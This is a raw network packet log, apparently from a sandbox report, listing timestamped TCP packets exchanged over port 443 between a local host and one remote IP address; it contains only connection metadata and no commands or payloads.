Dec 18, 2024 13:14:50.359822035 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.359882116 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.359908104 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.359949112 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.489183903 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.489211082 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.489260912 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.489289999 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.489321947 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.489337921 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.519092083 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.519120932 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.519176960 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.519206047 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.519222975 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.519248962 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.525494099 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.525518894 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.525569916 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.525598049 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.525614977 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.525645971 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.531955957 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.531984091 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.532036066 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.532063961 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.532079935 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.532196045 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.537556887 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.537575006 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.537636042 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.537663937 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.537703037 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.544358015 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.544384956 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.544429064 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.544456005 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.544493914 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.544686079 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.550070047 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.550088882 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.550144911 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.550168037 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.550206900 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.556350946 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.556370974 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.556420088 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.556438923 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.556478024 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.681529999 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.681567907 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.681627989 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.681654930 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.681680918 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.681704998 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.711442947 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.711486101 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.711533070 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.711565018 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.711596012 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.711616039 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.717771053 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.717808008 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.717854023 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.717874050 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.717902899 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.717924118 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.724158049 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.724186897 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.724232912 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.724248886 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.724280119 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.724299908 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.730093956 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.730128050 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.730211020 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.730222940 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.730256081 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.736278057 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.736310005 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.736354113 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.736361027 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.736423969 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.742259026 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.742290974 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.742364883 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.742371082 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.742432117 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.748651028 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.748684883 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.748734951 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.748743057 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.748794079 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.874260902 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.874293089 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.874346018 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.874375105 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.874404907 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.874422073 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.903789043 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.903820038 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.903950930 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.903980017 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.904021978 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.910235882 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.910264015 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.910327911 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.910350084 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.910387993 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.916342974 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.916369915 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.916429043 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.916446924 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.916485071 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.922341108 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.922368050 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.922420025 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.922442913 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.922478914 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.928684950 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.928714037 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.928751945 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.928767920 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.928782940 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.928805113 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.934681892 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.934710979 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.934758902 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.934773922 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.934796095 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.934817076 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.941220045 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.941252947 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.941299915 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.941318989 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.941332102 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.941351891 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.066062927 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.066092014 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.066230059 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.066261053 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.066302061 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.096535921 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.096565008 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.096658945 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.096688986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.096715927 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.099560022 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.102077961 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.102102995 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.102160931 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.102176905 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.102217913 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.108525991 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.108544111 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.108604908 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.108623028 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.108664036 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.115068913 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.115087986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.115149975 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.115168095 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.115204096 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.120515108 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.120533943 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.120595932 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.120625973 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.120666027 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.127830029 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.127849102 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.127928972 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.127955914 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.127994061 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.133268118 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.133292913 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.133362055 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.133392096 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.133431911 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.258563042 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.258591890 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.258682966 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.258698940 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.258790016 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.288258076 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.288286924 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.288362026 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.288378954 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.288419962 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.294717073 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.294744968 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.294791937 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.294796944 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.294817924 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.294842005 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.301145077 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.301168919 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.301212072 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.301217079 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.301239014 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.301259041 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.307501078 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.307528973 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.307575941 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.307585001 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.307596922 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.307621956 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.313147068 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.313175917 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.313265085 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.313265085 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.313271999 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.314054012 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.319190025 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.319214106 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.319267035 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.319272041 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.319298029 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.319320917 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.325691938 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.325716972 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.325792074 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.325792074 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.325798988 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.326453924 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.451119900 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.451147079 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.451237917 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.451272964 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.451309919 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.481432915 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.481456995 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.481548071 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.481563091 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.481611013 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.487014055 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.487031937 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.487108946 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.487114906 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.487150908 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.493468046 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.493488073 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.493551016 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.493556023 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.493612051 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.499865055 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.499891043 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.499955893 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.499963999 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.499991894 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.505559921 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.505577087 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.505636930 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.505642891 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.505677938 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.512372017 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.512393951 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.512454033 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.512464046 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.512491941 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.518001080 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.518021107 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.518068075 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.518074989 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.518106937 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.643603086 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.643695116 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.643723011 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.643748999 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.643780947 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.643801928 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.674297094 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.674320936 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.674422979 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.674449921 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.674520969 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.679764032 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.679785013 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.679884911 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.679907084 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.679944038 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.685960054 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.685981989 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.686089993 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.686113119 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.686151028 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.692011118 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.692034960 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.692131042 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.692137957 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.692173958 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.698237896 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.698257923 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.698314905 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.698326111 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.698360920 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.704289913 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.704312086 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.704374075 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.704385996 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.704420090 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.710666895 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.710690022 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.710743904 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.710750103 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.710778952 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.835510015 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.835544109 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.835639954 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.835665941 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.835700035 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.865880966 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.865909100 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.865993023 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.866019964 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.866056919 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.871562004 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.871578932 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.871644974 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.871651888 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.871681929 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.877995014 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.878020048 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.878087044 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.878103971 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.878144979 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.884406090 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.884433985 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.884469032 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.884475946 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.884514093 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.890068054 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.890084982 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.890139103 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.890146971 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.890178919 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.896800041 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.896816015 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.896873951 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.896886110 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.896915913 CET	49732	443	192.168.2.4	118.107.29.172
